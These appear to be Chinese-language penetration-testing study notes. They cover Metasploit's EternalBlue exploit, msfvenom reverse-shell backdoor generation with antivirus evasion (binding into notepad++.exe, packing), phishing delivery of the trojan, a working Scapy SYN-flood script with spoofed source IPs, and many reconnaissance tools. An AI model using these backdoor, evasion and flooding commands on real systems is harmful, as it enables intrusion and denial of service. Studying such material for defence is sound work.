一、初识MSF
1.1 metasploit攻击永恒之蓝
1.使用模块
1 | use exploit/windows/smb/ms17_010_eternalblue |
2.设置必选项
1 | show options |
1.2 msf后门木马植入和远控监听
msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线
[msfvenom在shell里面使用,而不是在msf终端]
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp(windows可执行程序后门) lhost=192.168.10.103 lport=9999(payload设置) -f(format) exe -o(output) demo.exe(可执行文件) |
生成木马后,将木马文件放在靶机(通过钓鱼等方式),开启监听:
1 | msf中: |
- 免杀:
1.捆绑木马:对火狐有效,对360无效 -x参数:加一个没有害的应用程序(64位)
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.19.128 lport=9999 -f exe -x notepad++.exe -o notepad++.exe |
2.加壳:
压缩壳 加密壳
加壳工具:themida
二、信息收集
2.1 网站指纹识别
1.操作系统判断:
ping 判断:windows的TLL一般为128,Linux的TTL一般为64,TTL大于100的一般为Windows,几十的则为Linux。
nmap -O参数
Windows大小写不敏感,Linux区分大小写。
2.网站服务、容器类型
f12
查看响应头Server字段whatweb
wappalyzer插件
3.脚本类型
查看网站文件名后缀
4.数据库类型
5.CMS识别
常见CMS:dedecms(织梦)、discuz/phpcms
2.2 敏感文件及目录识别
2.3 网站WAF识别
2.4 枚举服务
2.4.1 DNS枚举工具DNSenum
2.4.2 DNS枚举工具 fierce
1 | fierce --domain baidu.com 查询百度的子域名 |
2.4.3 SNMP枚举工具 Snmpwalk
2.4.4 SNMP枚举工具Snmpcheck
*很强大
1 | snmpcheck -t 192.168.*.* |
2.4.5 SMTP枚举工具 smtp-user-enum
2.5 测试网络范围
2.5.1 域名查询工具 DMitry
用来查询Ip或域名whois信息
1 | dmitry -wnpb rzchina.net |
2.5.2 跟踪路由工具Scapy
scapy是交互式数据包处理工具、数据包生成器、网络扫描器、网络发现工具和包嗅探工具。
启动scapy工具:看到>>>说明登录成功
1
scapy
网络数据包
1
2
3
4
5
6
7
8
9
10pkt = IP()/TCP #创建一个数据包
pkt.show() # 查看使用方法
pkt = IP(src="192.168.199.106",dst="39.156.66.14")/TCP()
# 自定义数据包
res = sr1(pkt) # 发送数据包并收到一个结果
res = sr(pkt) # 发送数据包接收所有响应
res = send(pkt) # 发送但不接收响应
res.summary() # 查看响应结果的简要信息
res.show() # 查看响应信息嗅探
1
sniff()
进制转换
1
hexdump()
使用scapy写一个syn拒绝服务攻击的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import random
import time
from scapy.all import *
tgt = "192.168.19.66" # 受害者IP
print(tgt)
dPort = 80 # 目标端口
def synFlood(tgt, dPot):
srcList = ['11.1.1.2', '22.1.1.102', '33.1.1.2', '44.1.1.2'] # 伪造的源IP地址
for sPort in range(1024, 65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
packet = ipLayer / tcpLayer
send(packet) # 只发送不接收响应
synFlood(tgt, dPort)使用scapy查看TCP路由跟踪信息
1
2
3
4
5res,unans=traceroute(["www.google.com","www.kali.org","www.rzchina.net"],dport=[80,443],maxttl=20,retry=2)
#,traceroute函数被调用来跟踪到三个目标主机(www.google.com,www.kali.org,www.rzchina.net)的路径。参数dport=[80,443]指定了要使用的目标端口号,这里是80和443,分别对应HTTP和HTTPS协议的默认端口。参数maxttl=20表示设置最大TTL(Time to Live)值为20,即数据包在最多经过20个路由器后结束跟踪。参数retry=2表示如果某个路由器未响应,则重试两次。
通过执行traceroute函数,可以获取到从源主机到目标主机的路径信息,包括每一跳的IP地址和响应时间,有助于诊断网络故障和优化网络性能。使用res.graph()函数以图的形式显示路由跟踪结果
1
res.graph()
2.6 识别活跃的主机
2.6.1 网络映射工具nmap
网络扫描和嗅探工具包,功能:
- 探测一组主机是否在线
- 扫描主机端口
- 推断主机使用的操作系统
nmap的主要扫描类型:
- ping扫描:TCP SYN扫描, 操作系统识别
- 端口扫描:UDP扫描,隐蔽扫描
使用nmap识别活跃的主机:
1
2
3
4
5
6
7
8
9# 查看一个主机是否在线
nmap -sP 192.168.19.207
# 获取更多详细信息
nping --echo-client "public" echo.nmap.org --->输出的信息显示与echo.nmap.org 网站连接时数据的发送情况
# 发送一些十六进制的数据到指定端口(结果如下图)
nping -tcp -p 445 -data AF56A43D 192.168.41.136
输出信息显示了本机与目标系统之间的TCP传输过程。通过发送数据包到指定端口模拟出一些常见的网络层攻击,以验证目标系统对这些测试的防御情况。查看打开的端口:
1
2
3
4
5
6
7
8
9
10
11
12# 扫描所有端口
nmap 192.168.19.207
# 扫描指定范围内的端口
nmap -p 1-1000 192.168.19.207 #该命令显示1-1000范围内开放的端口
#扫描在某一网段内所有开启TCP端口22的主机
nmap -p 22 192.168.19.*
#将扫描结果保存到文件中
nmap -p 22 192.168.19.* -oG /tempnmap-targethost-tcp445.txt
2.7 系统指纹识别
2.7.1 使用Nmap
1 | #测试操作系统 |
2.7.2 指纹识别工具p0F
p0f是一款被动指纹识别工具。通过分析目标主机发出的数据包,对主机上的操作系统进行鉴别,即使是在系统上装有性能良好的防火墙也没有问题
主要的识别信息有:
- 操作系统类型
- 端口
- 是否运行于防火墙之后
- 是否运行于NAT模式
- 是否运行于负载均衡模式
- 远程系统已启动时间
- 远程系统的DSL和ISP信息等
1 | #使用p0f分析 Wireshark捕获的一个文件 |
2.8 服务指纹识别
服务指纹信息包括服务端口、服务名和版本等。
2.8.1 nmap
1 | #查看服务上正在运行的端口 |
2.8.2 服务枚举工具 Amap
该工具能识别正运行在一个指定端口或一个范围端口上的应用程序
1 | #测试目标主机上正在运行的应用程序 |
2.9 其他信息收集手段
2.9.1 Recon-NG框架
python编写的开源的web侦查框架
启动recon-ng
1 | recon-ng |
安装模块
1 | 1. marketplace refresh # 更新模块列表 |
使用模块
1 | 1. modules load recon/domains-hosts/hackertarget |
实例:枚举baidu网站的子域名
1 |
|
2.9.2 ARP侦查工具 Netdiscover
是一个主动、被动的ARP侦查工具,在不使用DHCP的无线网络上非常有用
1 |
|
2.9.3 搜索引擎工具Shodan
该工具不是在网上搜索网址,而是直接搜索服务器。
过滤器命令的语法
1 | 1.City和Country命令可以缩小搜索的地理位置 |
使用msf实现shodan搜索
在shodanhq.com网站注册一个免费的账户
从http://www.shodanhq.com/api_doc 网站获取AIP key
启动postgresql服务
1
service postgresql start
启动msf
1
msfconsole
选择auxiliary/gather/shoan_search模块,并查看该模块下可配置的选项参数
1
2use auxiliary/gather/shodan_search
show options配置QUERY和SHODAN_APIKEY选项参数
1
2set SHODAN_APIKEY *****
set QUERY iomega启动搜索引擎
1
2run
# 输出的信息显示了匹配iomega关键字的所有信息
2.10 Maltego收集信息
maltego是一个开源的漏洞评估工具,主要用于论证一个网络内单点故障的复杂性和严重性。该工具能够聚集来自内部和外部资源的信息,并且提供一个清晰的漏洞分析界面。
准备工作
1
2先到https://www.paterva.com/web6/community/maltego/网站注册一个账号
这里涉及到google recaptcha的问题,详细可查询百度收集域名信息
收集公共IP地址信息